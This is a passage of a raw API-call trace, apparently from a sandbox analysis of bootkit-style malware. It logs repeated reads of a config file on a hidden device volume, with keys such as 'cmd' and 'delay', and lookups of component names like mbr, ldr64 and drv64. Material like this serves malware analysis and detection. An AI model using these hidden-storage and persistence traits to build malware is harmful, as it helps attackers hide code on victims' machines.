_Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.260] KeEnterCriticalRegion () [0129.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc3000 [0129.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.260] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.260] IdePortDispatch () returned 0x103 [0129.260] KeWaitForMutexObject () returned 0x0 [0129.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.261] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.261] IdePortDispatch () returned 0x103 [0129.261] KeWaitForMutexObject () returned 0x0 [0129.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.261] KeLeaveCriticalRegion () [0129.261] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.261] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.261] KeEnterCriticalRegion () [0129.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.261] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.261] KeLeaveCriticalRegion () [0129.261] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.262] KeEnterCriticalRegion () [0129.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.262] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.262] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.262] KeLeaveCriticalRegion () [0129.262] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.262] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.262] KeEnterCriticalRegion () [0129.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.262] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.262] KeLeaveCriticalRegion () [0129.262] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.262] ReleaseMutex (hMutex=0xf0) returned 1 [0129.262] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.262] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.262] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.262] KeEnterCriticalRegion () [0129.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.262] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.262] IdePortDispatch () returned 0x103 [0129.262] KeWaitForMutexObject () returned 0x0 [0129.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.262] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.262] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.262] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.262] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.262] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03750 [0129.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.262] KeLeaveCriticalRegion () [0129.263] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.263] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.263] KeEnterCriticalRegion () [0129.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.263] KeLeaveCriticalRegion () [0129.263] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.263] KeEnterCriticalRegion () [0129.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.263] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.263] IdePortDispatch () returned 0x103 [0129.263] KeWaitForMutexObject () returned 0x0 [0129.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.263] KeLeaveCriticalRegion () [0129.263] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.263] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.263] KeEnterCriticalRegion () [0129.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc4000 [0129.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.263] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.263] IdePortDispatch () returned 0x103 [0129.263] KeWaitForMutexObject () returned 0x0 [0129.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.264] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.264] IdePortDispatch () returned 0x103 [0129.264] KeWaitForMutexObject () returned 0x0 [0129.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.264] KeLeaveCriticalRegion () [0129.264] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.264] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.265] KeEnterCriticalRegion () [0129.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.265] KeLeaveCriticalRegion () [0129.265] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.265] KeEnterCriticalRegion () [0129.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.265] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.265] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.265] KeLeaveCriticalRegion () [0129.265] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.265] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.265] KeEnterCriticalRegion () [0129.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.265] ExFreePoolWithTag (P=0xfffffa8003c03750, Tag=0x0) [0129.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.265] KeLeaveCriticalRegion () [0129.265] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.265] ReleaseMutex (hMutex=0xf0) returned 1 [0129.265] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.265] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.265] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.265] KeEnterCriticalRegion () [0129.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.265] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.265] IdePortDispatch () returned 0x103 [0129.265] KeWaitForMutexObject () returned 0x0 [0129.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.266] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.266] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.266] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.266] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.266] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1f60 [0129.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.266] KeLeaveCriticalRegion () [0129.266] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.266] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.266] KeEnterCriticalRegion () [0129.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.266] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.266] KeLeaveCriticalRegion () [0129.266] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.266] KeEnterCriticalRegion () [0129.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.266] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.266] IdePortDispatch () returned 0x103 [0129.266] KeWaitForMutexObject () returned 0x0 [0129.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.266] KeLeaveCriticalRegion () [0129.266] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.266] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.266] KeEnterCriticalRegion () [0129.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc5000 [0129.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.267] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.267] IdePortDispatch () returned 0x103 [0129.267] KeWaitForMutexObject () returned 0x0 [0129.267] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.267] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.267] IdePortDispatch () returned 0x103 [0129.267] KeWaitForMutexObject () returned 0x0 [0129.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.267] KeLeaveCriticalRegion () [0129.267] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.268] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.268] KeEnterCriticalRegion () [0129.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.268] KeLeaveCriticalRegion () [0129.268] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.268] KeEnterCriticalRegion () [0129.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.268] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.268] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c030f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.268] KeLeaveCriticalRegion () [0129.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.268] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.268] KeEnterCriticalRegion () [0129.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.268] ExFreePoolWithTag (P=0xfffffa80037e1f60, Tag=0x0) [0129.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.268] KeLeaveCriticalRegion () [0129.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.268] ReleaseMutex (hMutex=0xf0) returned 1 [0129.268] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.268] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.268] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.268] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.268] KeEnterCriticalRegion () [0129.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.268] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.268] IdePortDispatch () returned 0x103 [0129.268] KeWaitForMutexObject () returned 0x0 [0129.269] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.269] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.269] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.269] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.269] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.269] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.269] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.269] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.269] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.269] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.269] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.269] KeLeaveCriticalRegion () [0129.269] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.269] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.269] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.269] KeEnterCriticalRegion () [0129.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.269] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.269] IdePortDispatch () returned 0x103 [0129.269] KeWaitForMutexObject () returned 0x0 [0129.270] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.270] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.270] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.270] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.270] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.270] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.270] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.270] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.270] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.270] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.270] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.270] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.270] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.270] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.270] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.270] KeLeaveCriticalRegion () [0129.270] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.270] ReleaseMutex (hMutex=0x100) returned 1 [0129.270] Sleep (dwMilliseconds=0x2bf20) [0129.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70403a70, dwHighDateTime=0x1d24fa4)) [0129.278] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.278] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.278] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.278] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.278] KeEnterCriticalRegion () [0129.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 